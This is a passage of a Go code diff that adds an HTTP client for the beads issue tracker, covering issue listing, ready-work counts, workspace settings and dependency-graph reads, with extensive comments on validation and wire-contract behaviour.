+) + +// httpReader is issueops.Reader over the v0 wire (design D8 row 1): Ready is +// listReadyWork, List is listIssues, Get is getIssue. +// +// It builds no filter and applies no default. Both request types are handed to +// the encoder whole, and the SERVER runs the same two workapi builders a local +// command would — against its own authoritative vocabulary, which is what heals +// L7's degraded client-side status/type set for every query that goes through +// here. What stays on this side is the part the wire genuinely cannot carry: +// the display order, the caller-supplied keyset position and the MaxRows cap, +// all three of them ledgered client-side in the encoder table and all three +// implemented in list_walk.go. +type httpReader struct{ store *Store } + +// Ready serves listReadyWork. +// +// One request, no paging: the operation publishes no cursor, so `limit` and the +// server's own has_more ARE the page contract. An Offset is refused by the +// encoder rather than dropped — ready work carries no keyset position, so there +// is no honest way to page it (E-ReadyRequest.Offset). +func (r httpReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issueops.IssuePage, error) { + params, err := encode.ReadyParams(req) + if err != nil { + return issueops.IssuePage{}, r.store.inexpressible("Reader.Ready", err) + } + var body apigen.ReadyPage + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpListReadyWork, + Method: http.MethodGet, + Path: wire.PathReady, + Query: params, + }, &body); err != nil { + return issueops.IssuePage{}, err + } + return issueops.IssuePage{Items: wireRows(body.Items, req.Brief), HasMore: body.HasMore}, nil +} + +// List serves listIssues, through the pager in list_walk.go. +func (r httpReader) List(ctx context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + params, err := encode.ListParams(req) + if err != nil { + return issueops.IssuePage{}, r.store.inexpressible("Reader.List", err) + } + return r.store.walkIssues(ctx, params, req) +} + +// Get serves getIssue, including the two landed include parameters that retired +// ledger row L4. +// +// A 404 arrives as the `not_found` problem code, which the wire's problem +// mapper has already turned into issueops.ErrNotFound — the same sentinel a +// local miss answers with — so the role's "a miss is ErrNotFound, a backend +// failure passes through unchanged" promise holds without a single decision +// here. The nil detail view on any error is the other half of it. +func (r httpReader) Get(ctx context.Context, req issueops.GetRequest) (*issueops.IssueDetails, error) { + id, params := encode.GetTarget(req) + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + var details types.IssueDetails + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + Query: params, + IssueID: id, + }, &details); err != nil { + return nil, err + } + // Issue.RowVersion is json:"-"; the wire's only spelling of the token is + // Revision (the decimal string getIssue publishes), so a bare decode + // leaves RowVersion at its zero value on every read — a guarded write + // built off this result would carry a token the row never held, same as + // bd-enterprise's (*Store).GetIssue bridge below and the write + // responses parseRevision already stitches this way. + version, err := parseRevision("getIssue", details.Revision) + if err != nil { + return nil, err + } + details.Issue.RowVersion = version + return &details, nil +} + +// wireRows lifts a wire page onto the pointer slice the role's page carries, +// and stamps the projection marker the wire cannot carry. +// +// The element type is an ALIAS of types.IssueWithCounts — the same struct the +// server projects onto and the same one `bd list --json` marshals — so this +// takes an address and copies nothing under the header. The result is never +// nil: an empty page is an empty slice on every surface, and a caller must not +// have to tell null from empty to learn that nothing matched. +// +// brief IS A PARAMETER RATHER THAN A FIELD ON ANYTHING, so every page decode on +// this client has to answer the question. types.Issue.IsLitePartial is +// `json:"-"` — it never crosses — and a `brief` page therefore arrives +// byte-identical to a page of genuinely textless rows. The only thing that can +// tell them apart is having ASKED, which is what issueops.ListRequest.Brief's +// own leaf says a wire consumer distinguishes them by, and this client is the +// consumer that asked. A call site that could forget it would be a page whose +// rows lie about being whole; making it an argument means the compiler asks. +// +// IT IS NEVER STAMPED ON A HYDRATED READ. The marker means "the heavy columns +// were not selected", so setting it on a full page would send a caller to +// refetch a body it already has — the same defect as the missing stamp, pointed +// the other way. +func wireRows(items []apigen.IssueWithCounts, brief bool) []*types.IssueWithCounts { + out := make([]*types.IssueWithCounts, 0, len(items)) + for i := range items { + row := &items[i] + if brief && row.Issue != nil { + row.IsLitePartial = true + } + out = append(out, row) + } + return out +} diff --git a/internal/httpclient/role_readycounter.go b/internal/httpclient/role_readycounter.go new file mode 100644 index 000000000..b42ac7777 --- /dev/null +++ b/internal/httpclient/role_readycounter.go @@ -0,0 +1,70 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/role_readycounter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpReadyCounter is issueops.ReadyCounter over countReadyWork (design D8 +// row 2). It is what serves `bd ready`'s "showing 2 of 5". +// +// The request it sends is the LISTING's request with the page taken off, which +// is what makes the answer the size of the page Reader.Ready would return: the +// encoder's ready-count table shares one filter list with the listing's, so a +// parameter one of them sent and the other did not cannot exist. +type httpReadyCounter struct{ store *Store } + +func (c httpReadyCounter) CountReady(ctx context.Context, req issueops.ReadyRequest) (issueops.ReadyCountResult, error) { + if err := validateCountReadyPage(req); err != nil { + return issueops.ReadyCountResult{}, err + } + params, err := encode.ReadyCountParams(req) + if err != nil { + return issueops.ReadyCountResult{}, c.store.inexpressible("ReadyCounter.CountReady", err) + } + var body apigen.ReadyCount + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountReadyWork, + Method: http.MethodGet, + Path: wire.PathReadyCount, + Query: params, + }, &body); err != nil { + return issueops.ReadyCountResult{}, err + } + return issueops.ReadyCountResult{Total: body.Total}, nil +} + +// validateCountReadyPage answers the role's own page refusals before the +// encoder can answer them as wire refusals. +// +// A Limit and an Offset are ErrValidation on THIS ROLE at every backend, and +// for a reason that has nothing to do with the wire: a cardinality has no page. +// A Limit would answer "how many of the first N", which the identity with +// Reader.Ready(Limit=0) would then stop being true of, and an Offset would +// subtract the rows it skipped from the size of a set that still contains them. +// An explicit zero Limit is refused with the rest — an unlimited count is the +// only kind there is, so asking for one is asking for the default. +// +// The encoder refuses both fields too (E-ReadyRequest.Limit@countReadyWork, +// E-ReadyRequest.Offset), and that row is not redundant: it is what keeps the +// field from being silently dropped if this check were ever removed. What it +// cannot do is tell a caller their REQUEST is wrong rather than their server. +func validateCountReadyPage(req issueops.ReadyRequest) error { + switch { + case req.Limit != nil: + return fmt.Errorf("%w: a ready count takes no limit (%d): a cardinality has no page, "+ + "and a bounded count would not agree with the listing it sizes", issueops.ErrValidation, *req.Limit) + case req.Offset != 0: + return fmt.Errorf("%w: a ready count takes no offset (%d): it would subtract the rows it skipped "+ + "from the size of a set that still contains them", issueops.ErrValidation, req.Offset) + } + return nil +} diff --git a/internal/httpclient/roles_aux.go b/internal/httpclient/roles_aux.go new file mode 100644 index 000000000..213224d12 --- /dev/null +++ b/internal/httpclient/roles_aux.go @@ -0,0 +1,314 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/roles_aux.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "net/url" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The aggregate and workspace-state roles: StatsReporter whole, and +// WorkspaceConfig whole (design D8 rows 6 and 11). +// +// D8 ROW 11 IS NO LONGER PARTIAL. The row's per-METHOD refusal — an accessor +// that refused would have taken the reads down with the writes, and the reads +// are what `bd config get`, the routing probe and the id resolver's prefix +// lookups run on — was the posture for as long as v0 published no config write. +// Upstream #5596 published both verbs, client wave ga-jpywb dials them, and the +// role now answers every method it declares. What the split bought while it +// lasted is still worth knowing: a per-method refusal puts the method's own name +// in the sentinel, which is what RunUnsupportedContract and the D7 choke point +// both read, so the next partial role should be spelled the same way. +// +// The MEMORY plane is not here: its role is served whole — reads and writes — +// by memories.go, and a read-only twin alongside it would be a second answer to +// the same accessor. + +// httpStatsReporter serves both summaries from getStats. +type httpStatsReporter struct{ store *Store } + +// Stats answers the workspace-wide summary. +// +// SkipBlocked travels as the hint it is. The server forwards it to its own role, +// which may or may not take it, and the answer says which by whether +// BlockedIssues is populated — so this client neither promises the saving nor +// reports one, and reads the outcome off the same member every other caller +// does. +func (r httpStatsReporter) Stats(ctx context.Context, req issueops.StatsRequest) (issueops.StatsResult, error) { + q := url.Values{} + if req.SkipBlocked { + q.Set("skip_blocked", "true") + } + return r.dial(ctx, q) +} + +// AssigneeStats answers one actor's summary. +// +// The actor is used AS WRITTEN — no trimming, no folding, no alias expansion — +// on this side and on the server's. +func (r httpStatsReporter) AssigneeStats(ctx context.Context, req issueops.AssigneeStatsRequest) (issueops.StatsResult, error) { + if strings.TrimSpace(req.Assignee) == "" { + // The one refusal made here rather than dialed. An empty assignee would + // be sent as an ABSENT parameter, which is the workspace-wide question — + // a different answer, not an error — so the request has to be refused + // before it becomes one. + return issueops.StatsResult{}, fmt.Errorf("%w: an assignee must not be empty; the workspace-wide summary is Stats", issueops.ErrValidation) + } + q := url.Values{} + q.Set("assignee", req.Assignee) + return r.dial(ctx, q) +} + +func (r httpStatsReporter) dial(ctx context.Context, q url.Values) (issueops.StatsResult, error) { + var body apigen.StatsResponse + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpGetStats, + Method: http.MethodGet, + Path: wire.PathStats, + Query: q, + }, &body); err != nil { + return issueops.StatsResult{}, err + } + return issueops.StatsResult{Summary: body.Summary}, nil +} + +// httpWorkspaceConfig serves the read half of the settings role. +type httpWorkspaceConfig struct{ store *Store } + +// GetSetting reads one stored setting. +// +// It goes through the raw GetConfig rather than dialing again, so this backend +// gives ONE answer per key. That matters for the redacted case: a withheld value +// is not the same fact as an unset one, and GetConfig reports it as +// RedactedSettingError — L9's "absent WITH REASON" — where returning "" would +// tell a caller the workspace stores nothing there. An unset key and a key +// stored empty stay conflated, which is the role contract's own rule. +func (c httpWorkspaceConfig) GetSetting(ctx context.Context, req issueops.GetSettingRequest) (issueops.SettingResult, error) { + if strings.TrimSpace(req.Key) == "" { + // Refused here because the operation carries the key in the PATH: an + // empty segment would join to the collection and turn a read of one + // setting into a read of all of them. + return issueops.SettingResult{}, fmt.Errorf("%w: a setting key must not be empty", issueops.ErrValidation) + } + value, err := c.store.GetConfig(ctx, req.Key) + if err != nil { + return issueops.SettingResult{}, err + } + return issueops.SettingResult{Key: req.Key, Value: value}, nil +} + +// ListSettings reads every stored setting. +// +// Redacted keys are PRESENT with an empty value, and this is the one place the +// withholding cannot be reported as an error: an enumeration that failed because +// one key of forty is credential-bearing would take the whole listing down. +// Omitting them instead would say the workspace stores nothing under that key, +// which is false and is the reading a caller enumerating configuration acts on — +// so the key is listed and its value is the empty string GetSetting refuses to +// pretend is real. +func (c httpWorkspaceConfig) ListSettings(ctx context.Context, _ issueops.ListSettingsRequest) (issueops.ListSettingsResult, error) { + var body apigen.SettingsPage + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpListSettings, + Method: http.MethodGet, + Path: wire.PathSettings, + }, &body); err != nil { + return issueops.ListSettingsResult{}, err + } + settings := make(map[string]string, len(body.Items)) + for _, item := range body.Items { + settings[item.Key] = settingValue(item) + } + return issueops.ListSettingsResult{Settings: settings}, nil +} + +// SetSetting stores one setting, on PUT /v0/beads/config/{key}. +// +// THE KEY IS THE PATH AND THE VALUE IS THE WHOLE BODY, which is what makes this +// the smallest write on the surface: one member out, one row back. There is no +// actor and no guard, because this plane records no history entry to attribute a +// write on and holds no row version to compare — so a write here is neither +// attributable nor conditional on ANY backend, and the wire is not narrowing +// anything by omitting them. +// +// IT IS NOT IDEMPOTENT-SHORT-CIRCUITED and must not become so. Storing the value +// already there still performs the write and its projection: the role's own +// contract says a no-op detection would make the repair of a normalized table +// that had drifted from its row depend on the row having changed, which is +// precisely the state that needs repairing. Nothing here compares first, and +// there is no `changed` member on the answer to compare against — the response +// to the second PUT is byte-identical to the first, which is the shape a PUT +// should have and is deliberately NOT the `already_claimed` / `already_closed` +// shape three other writes on this surface carry. +func (c httpWorkspaceConfig) SetSetting(ctx context.Context, req issueops.SetSettingRequest) (issueops.SetSettingResult, error) { + if err := validateSettingWrite(req.Key, req.Value); err != nil { + return issueops.SetSettingResult{}, err + } + path, err := wire.SettingPath(req.Key) + if err != nil { + return issueops.SetSettingResult{}, invalid("%v", err) + } + var body apigen.Setting + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpSetSetting, + Method: http.MethodPut, + Path: path, + Body: apigen.SetSettingRequest{Value: req.Value}, + }, &body); err != nil { + return issueops.SetSettingResult{}, err + } + return issueops.SetSettingResult{Key: body.Key, Value: storedSettingValue(req.Value, body)}, nil +} + +// UnsetSetting removes one setting, on DELETE /v0/beads/config/{key}. +// +// REMOVING A KEY NOTHING SET SUCCEEDS, twice over: the role states an intended +// END STATE rather than an act performed, and the wire agrees — there is no 404 +// on this operation at all, which is the one place it diverges from the memory +// delete beside it. So a caller clearing configuration it is not sure was ever +// written classifies no error to learn it was already absent. +// +// THE PROTECTED KEY IS NOT REFUSED HERE, unlike on the write above, and the +// asymmetry is shipped behavior on every implementation rather than something +// this client introduces (bd-yby99.34). Restating it as a refusal would make +// this leg stricter than the contract it implements, which is the one direction +// a client-side rule must never take. +func (c httpWorkspaceConfig) UnsetSetting(ctx context.Context, req issueops.UnsetSettingRequest) (issueops.UnsetSettingResult, error) { + if err := validateSettingKey(req.Key); err != nil { + return issueops.UnsetSettingResult{}, err + } + path, err := wire.SettingPath(req.Key) + if err != nil { + return issueops.UnsetSettingResult{}, invalid("%v", err) + } + var body apigen.RemovedSetting + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpUnsetSetting, + Method: http.MethodDelete, + Path: path, + }, &body); err != nil { + return issueops.UnsetSettingResult{}, err + } + return issueops.UnsetSettingResult{Key: body.Key}, nil +} + +// validateSettingKey is the rule a key a caller READS or REMOVES has to meet, +// and it is the only rule at that end: a key has to name something. +// +// It is the client-side twin of internal/workapi.ValidateSettingKey, redeclared +// rather than imported for releaser.go's reason — depguard denies +// internal/workapi to this package — and pinned against it by +// TestSettingWriteValidationMatchesTheSharedValidator, from a test file where +// the rule does not apply. +// +// IT IS ALSO PATH SAFETY, which is why it could not have been left to the +// server even if the role did not state it: the key is one PATH SEGMENT, so an +// empty one would join to the collection and turn a write of one setting into a +// request against all of them. +func validateSettingKey(key string) error { + if strings.TrimSpace(key) == "" { + return invalid("config key must not be empty") + } + return nil +} + +// validateSettingWrite is the role's own write rules, restated: the key rule +// above, the protected key, and the one value whose shape is checked because it +// is PROJECTED rather than merely stored. +// +// ALL THREE ARE THE ROLE'S AND NOT THE SERVER'S, which is the line this function +// draws and the reason it stops where it does. The server applies its own EDGE +// bounds on top — a key past 255 characters on the write (but not on the +// remove), a value past types.MaxTextBytes BYTES, a media type — and this client +// restates none of them: those are one server release away from moving, and a +// second copy here would either drift or refuse a request a newer server would +// take. They travel as the 400 the mapper turns into the same ErrValidation, and +// the difference that makes to a local leg is ledgered (L-config-bounds). +// +// The three below cannot travel that way for the reason every restated role rule +// on this seam cannot: a request the role's own contract calls invalid must not +// spend a round trip to be told so, and must not bind its classification to a +// problem body a future server release might spell differently. +func validateSettingWrite(key, value string) error { + if err := validateSettingKey(key); err != nil { + return err + } + // The prefix is owned by `bd init --prefix`, `bd bootstrap` and + // `bd rename-prefix`, each of which does work this plane cannot: rewriting + // existing ids, or seeding a workspace that has none. Storing a new one here + // would leave the beads created before the write and the beads created after + // it disagreeing about their own namespace, with nothing to reconcile them. + // BOTH SPELLINGS refuse, and the dashed one for a different reason than the + // underscored: nothing reads it, so writing it would report success and be + // unobservable. + if key == issueops.SettingKeyIssuePrefix || key == settingKeyIssuePrefixDashed { + return invalid("%q is set by bd init --prefix, bd bootstrap or bd rename-prefix, not by a config write: "+ + "storing it here would leave existing ids under the old prefix with nothing to reconcile them", key) + } + // status.custom is PROJECTED into custom_statuses, which reads consult + // first, so a value that cannot be projected must not become a row. The + // parse belongs to the ROLE — every leg refuses it — rather than to a front + // door, because a value one door accepted and another refused would be half + // applied by whichever wrote first. + if key == issueops.SettingKeyStatusCustom && value != "" { + if _, err := types.ParseCustomStatusConfig(value); err != nil { + return invalid("invalid %s value: %v", key, err) + } + } + return nil +} + +// settingKeyIssuePrefixDashed is the second spelling of the protected key. The +// role names only the underscored one as a constant and spells this one inline; +// it is named here so the refusal and the test that pins it read one string. +const settingKeyIssuePrefixDashed = "issue-prefix" + +// storedSettingValue is what the workspace now holds, read off the answer. +// +// THE PROJECTION IS TRANSCRIBED RATHER THAN INTERPRETED. The response to a write +// is byte-identical to the read that follows it — one `wireSetting` serves both +// — so a stored value comes back on the same optional member, absent for the +// same three facts, and this reads it with the same helper the reads use. +// +// A REDACTED KEY IS THE ONE PLACE THE PROJECTION CANNOT ANSWER, and the fallback +// is the request rather than a guess. The operation PERMITS writing a +// credential-bearing key — refusing would leave a workspace's credentials +// visible as present and permanently unconfigurable through this door — and then +// withholds the value from its own answer, exactly as the read withholds it. So +// `value` is absent on a write that certainly stored something, and reporting "" +// would tell a caller the plane holds nothing there: the write-side spelling of +// the confusion RedactedSettingError exists to prevent on the read side (L9). +// +// Answering with the value the caller SENT is not an interpretation of what +// redaction hid. It is the operation's own promise, stated on the request member: +// the stored value equals the value sent for every key this plane accepts, +// because the one stored key with a normalization step is `issue_prefix` and +// that is the one key the role refuses. There is no third option — the result +// type carries no "withheld" spelling, and erroring on a write that LANDED would +// be a worse answer than either. +func storedSettingValue(sent string, body apigen.Setting) string { + if body.Redacted { + return sent + } + return settingValue(body) +} + +// settingValue reads the wire's optional value. +// +// The member is absent for three different facts — nothing stored, the empty +// string stored, and a credential withheld — and `redacted` separates only the +// third. All three are "" to this role by its own contract; see GetSetting. +func settingValue(s apigen.Setting) string { + if s.Value == nil { + return "" + } + return *s.Value +} diff --git a/internal/httpclient/roles_graph.go b/internal/httpclient/roles_graph.go new file mode 100644 index 000000000..4cd3a85e5 --- /dev/null +++ b/internal/httpclient/roles_graph.go @@ -0,0 +1,472 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/roles_graph.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "net/url" + "strconv" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The four dependency-graph read roles, served from their v0 operations +// (design D8 rows 7-10). +// +// Each one is a thin projection, and that is a property of the wire rather than +// of the code: every response component on this surface is a Go TYPE ALIAS of +// the canonical struct the role returns (internal/httpapi/pinning.go asserts it +// by ASSIGNMENT, which a structurally-identical twin could not satisfy). So +// there is no field mapping to get wrong here, and deliberately none written — +// a hand-rolled converter would be a second copy of a contract the server +// already pins. +// +// What IS this layer's work is the contract each role's doc comment states and +// the wire does not restate: never-nil collections, the caller's request left +// alone, and the defensive caps the wire publishes no parameter for. +// +// They dispatch GENERICALLY, through the store's one door. A read role differs +// from its neighbors only in the parameters the encoder produced and the +// envelope it decodes, so an operation-shaped transport method per role would +// be a dozen spellings of one round trip — see the WireClient doc for why the +// two halves of that seam are shaped differently. + +// httpCycleDetector serves DetectCycles from listDependencyCycles. +type httpCycleDetector struct{ store *Store } + +// DetectCycles reports every cycle in the blocking graph. +// +// The request carries nothing (beyond IncludeTracks, refused below) and the +// operation publishes nothing, which is the same statement from both ends: a +// cycle is a property of the whole graph and there is no predicate that +// narrows it. +// +// req.IncludeTracks is refused rather than silently ignored: listDependencyCycles +// (wire.OpListDependencyCycles) has no include_tracks parameter at all, so +// honoring it would mean quietly answering the DEFAULT (narrower) walk to a +// caller who explicitly asked for the wider one that also follows `tracks` +// edges. This is the same typed, ledger-cited refusal CountEdges' own bound +// raises below (refuse/encode.RefusedError, not a bare error) — see +// "L-cycles-tracks" and engdocs/design/http-divergence-ledger.md. +func (d httpCycleDetector) DetectCycles(ctx context.Context, req issueops.DetectCyclesRequest) (result issueops.CycleReport, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = d.store.inexpressible("CycleDetector.DetectCycles", err) }() + if req.IncludeTracks { + return issueops.CycleReport{}, refuse(encode.OpListDependencyCycles, "L-cycles-tracks") + } + var body apigen.CyclesPage + if err := d.store.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencyCycles, + Method: http.MethodGet, + Path: wire.PathDependenciesCycles, + }, &body); err != nil { + return issueops.CycleReport{}, err + } + // Empty rather than nil on an acyclic graph: the role promises a caller can + // range over the answer, and the count of cycles is the length of this + // slice with nothing omitted. + cycles := body.Items + if cycles == nil { + cycles = []issueops.Cycle{} + } + return issueops.CycleReport{Cycles: cycles}, nil +} + +// httpTreeWalker serves WalkTree from getDependencyTree. +type httpTreeWalker struct{ store *Store } + +// WalkTree walks the graph from one root. +// +// TWO REQUEST MEMBERS ARE HONORED HERE RATHER THAN DROPPED. MaxDepth and +// Direction have parameters and travel; MaxRows does not, and it is the one +// member of this request whose contract says every implementation honors it — +// so the cap is enforced against the answer, where the role documents the check +// happening (after the walk and after the prune) and with the sentinel `bd` +// already classifies into exit 2. +// +// max_depth is sent ALWAYS, including the zero and the negative the role +// refuses. The operation defaults an ABSENT max_depth to fifty levels while the +// role makes the bound required, so omitting the caller's value would answer a +// fifty-level walk to a request that asked for none — a wider answer reached by +// dropping a bound, which is the one thing this client may never do. +// +// The validation refusals stay the SERVER's. An empty root, a direction outside +// the closed set and a depth below one are refusals the operation makes for +// itself and maps back to issueops.ErrValidation, so re-making them here would +// be a second copy of a rule that answers differently the day the vocabulary +// grows. +func (w httpTreeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { + q := url.Values{} + q.Set("root_id", req.RootID) + q.Set("max_depth", strconv.Itoa(req.MaxDepth)) + if req.Direction != "" { + q.Set("direction", string(req.Direction)) + } + if req.Status != "" { + q.Set("status", string(req.Status)) + } + + var body apigen.DependencyTreePage + if err := w.store.dispatch(ctx, wire.Request{ + Op: wire.OpGetDependencyTree, + Method: http.MethodGet, + Path: wire.PathDependenciesTree, + Query: q, + IssueID: req.RootID, + }, &body); err != nil { + return issueops.TreeResult{}, err + } + + nodes := make([]*issueops.TreeNode, 0, len(body.Items)) + for i := range body.Items { + nodes = append(nodes, &body.Items[i]) + } + if req.MaxRows > 0 && len(nodes) > req.MaxRows { + // The count is EXACT rather than the storage layer's cap+1 probe: the + // walk answers whole, so there is no cheaper bound to report and no + // reason to report a vaguer one. The answer is withheld entirely, which + // is what the role's own contract says a cap violation returns. + return issueops.TreeResult{}, &storageops.ErrTooManyRows{ + Found: len(nodes), + Cap: req.MaxRows, + Source: req.MaxRowsSource, + } + } + return issueops.TreeResult{Nodes: nodes}, nil +} + +// httpEdgeReader serves ReadEdges from listDependencies. +type httpEdgeReader struct{ store *Store } + +// ReadEdges reads the stored edges of one anchored set of ids. +// +// The wire answers with the edges FLATTENED across anchors plus the ids that +// named nothing; the role answers per anchor, in the order the request first +// named each id. Regrouping is this method's whole job, and it walks the +// CALLER's id list rather than the response — an anchor with no edges appears in +// neither `items` nor `missing`, so a grouping driven by the response alone +// would silently lose it. +// +// AN EMPTY REQUEST IS ANSWERED WITHOUT A DIAL. The operation requires at least +// one anchor and would refuse, but the role documents an empty request as a +// success with no anchors — so refusing would be this backend inventing an error +// the contract says does not exist. +func (r httpEdgeReader) ReadEdges(ctx context.Context, req issueops.EdgeReadRequest) (issueops.EdgeReadResult, error) { + if err := validateAnchors(req.IDs); err != nil { + return issueops.EdgeReadResult{}, err + } + ids := distinct(req.IDs) + if len(ids) == 0 { + return issueops.EdgeReadResult{Anchors: []issueops.AnchorEdges{}}, nil + } + + q := url.Values{} + for _, id := range ids { + q.Add("issue_id", id) + } + // Repeated rather than comma-joined: the operation reads `type` with the + // repeatable list decoder and does no splitting, so a comma would travel + // into a type name. + for _, edgeType := range req.Types { + q.Add("type", string(edgeType)) + } + + var body apigen.DependencyEdges + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencies, + Method: http.MethodGet, + Path: wire.PathDependencies, + Query: q, + }, &body); err != nil { + return issueops.EdgeReadResult{}, err + } + + missing := make(map[string]bool, len(body.Missing)) + for _, id := range body.Missing { + missing[id] = true + } + grouped := make(map[string][]*issueops.Dependency, len(ids)) + for i := range body.Items { + edge := &body.Items[i] + grouped[edge.IssueID] = append(grouped[edge.IssueID], edge) + } + + anchors := make([]issueops.AnchorEdges, 0, len(ids)) + for _, id := range ids { + edges := grouped[id] + if edges == nil { + // Never nil on a successful call, including for an anchor that has + // no edges and for one that names nothing at all. + edges = []*issueops.Dependency{} + } + anchors = append(anchors, issueops.AnchorEdges{ID: id, Edges: edges, Missing: missing[id]}) + } + return issueops.EdgeReadResult{Anchors: anchors}, nil +} + +// GetDependencyRecords answers one issue's stored outgoing edges as raw rows, +// off the same listDependencies operation httpEdgeReader rides. It is an off-role +// raw method rather than an accessor — `bd dep remove`, the molecule loaders and +// `bd delete`'s preview call it directly — so it sits here beside the surface it +// shares rather than on the role above. +// +// ONE ANCHOR, NEVER CHUNKED. The operation bounds a request at +// maxDependencyAnchors (100), and one id is nowhere near it, so there is no +// splitting to do. The wire flattens the answer across the anchors it was asked +// about; asked about one, every item belongs to that one, and the missing list +// names it iff the id resolved to nothing. +// +// A MISS IS (nil, nil), matching the local method: an id that names neither an +// issue nor a wisp comes back in `missing`, and the reference returns a nil slice +// for a nonexistent id (dolt/dependencies.go). The rows themselves are the wire's +// verbatim — apigen.Dependency is a type alias of types.Dependency, and the +// server resolves each row's target through the same issueops.DepTargetExpr the +// reference read does, so an unresolved or bare-slug depends_on_id (the value the +// GH#5005 `bd dep remove` guard exists to see) crosses whole rather than +// normalized away. +func (s *Store) GetDependencyRecords(ctx context.Context, id string) ([]*types.Dependency, error) { + if id == "" { + return nil, nil + } + q := url.Values{} + q.Set("issue_id", id) + + var body apigen.DependencyEdges + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencies, + Method: http.MethodGet, + Path: wire.PathDependencies, + Query: q, + }, &body); err != nil { + return nil, err + } + + for _, missing := range body.Missing { + if missing == id { + return nil, nil + } + } + if len(body.Items) == 0 { + return nil, nil + } + records := make([]*types.Dependency, 0, len(body.Items)) + for i := range body.Items { + records = append(records, &body.Items[i]) + } + return records, nil +} + +// maxEdgeCountAnchors is the anchor bound GET /v0/beads/dependencies:count +// publishes: `issue_id` is minItems 1, maxItems 100. +// +// It is the SAME number as the stored-edge read's, from the server's one +// maxDependencyAnchors constant, because the two operations bound the same +// thing on the same collection — which is exactly why the client refuses at it +// rather than chunking past it. See httpGraphCounter.CountEdges. +const maxEdgeCountAnchors = 100 + +// httpGraphCounter serves CountEdges from countDependencyEdges — the +// TWENTY-SECOND wire-backed accessor, and the only role on this surface whose +// answer is a number PER ANCHOR. +// +// It builds its query inline rather than through the encoder table, beside the +// three graph reads above and for their reason: the encode package classifies +// PREDICATES, where a forgotten member widens a result set invisibly, and this +// request is an anchored one — four members, every one of them published. What +// takes the place of the table here is TestEdgeCountRequestSendsEveryMember, +// which reflects over the request so a member added upstream fails closed +// instead of being dropped into a count that still looks like a count. +type httpGraphCounter struct{ store *Store } + +// CountEdges returns each anchor's edge cardinality in the requested direction. +// +// THE VALIDATION IS THE ROLE'S OWN BODY, not a second copy of it: this calls +// storageops.ValidateEdgeCountRequest, the same function the two Dolt legs and +// the unit-of-work leg run, so the four refusals — an absent or unrecognized +// direction, a status beside direction=out, an empty anchor id, an unusable +// dependency type — are one definition with one ORDER. The order is part of the +// contract (the direction is checked FIRST, so an empty request refuses about +// the direction rather than answering emptily), and a client that re-asked the +// questions in some order of its own would name a different offender than every +// other backend for a request carrying two mistakes. +// +// AN EMPTY REQUEST IS ANSWERED WITHOUT A DIAL, exactly as the stored-edge read's +// is: the operation requires at least one anchor and would refuse, while the +// role documents an empty slice as a success with no anchors. The direction is +// still validated first, so EdgeCountRequest{} refuses rather than answering. +func (c httpGraphCounter) CountEdges(ctx context.Context, req issueops.EdgeCountRequest) (issueops.EdgeCountResult, error) { + if err := storageops.ValidateEdgeCountRequest(req); err != nil { + return issueops.EdgeCountResult{}, err + } + // The collapse is the CLIENT's, not the wire's, and it has to be: the answer + // carries one entry per distinct anchor in first-mention order, and matching + // the response back onto the caller's list means holding the same collapse + // the server performed. Sending the repeats and trusting the server to + // collapse them would work until an id appeared twice near the bound, where + // the request would refuse for a size the answer never had. + ids := distinct(req.IDs) + if len(ids) == 0 { + return issueops.EdgeCountResult{Anchors: []issueops.AnchorEdgeCount{}}, nil + } + if len(ids) > maxEdgeCountAnchors { + return issueops.EdgeCountResult{}, &encode.RefusedError{ + Op: encode.OpCountDependencyEdges, + Row: encode.RowByID("L-edgecount-bound"), + } + } + + q := url.Values{} + for _, id := range ids { + q.Add("issue_id", id) + } + // Required and always sent, including a value the role has already accepted: + // the operation has no default direction, and an omitted one is a 400 rather + // than a count of the other end. + q.Set("direction", string(req.Direction)) + // Repeated rather than comma-joined, listDependencies' rule: the operation + // reads `type` with the repeatable list decoder and does no splitting. + for _, edgeType := range req.Types { + q.Add("type", string(edgeType)) + } + if req.Status != "" { + q.Set("status", req.Status) + } + + var body apigen.EdgeCounts + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountDependencyEdges, + Method: http.MethodGet, + Path: wire.PathDependenciesCount, + Query: q, + }, &body); err != nil { + return issueops.EdgeCountResult{}, err + } + return edgeCountAnchors(ids, body) +} + +// 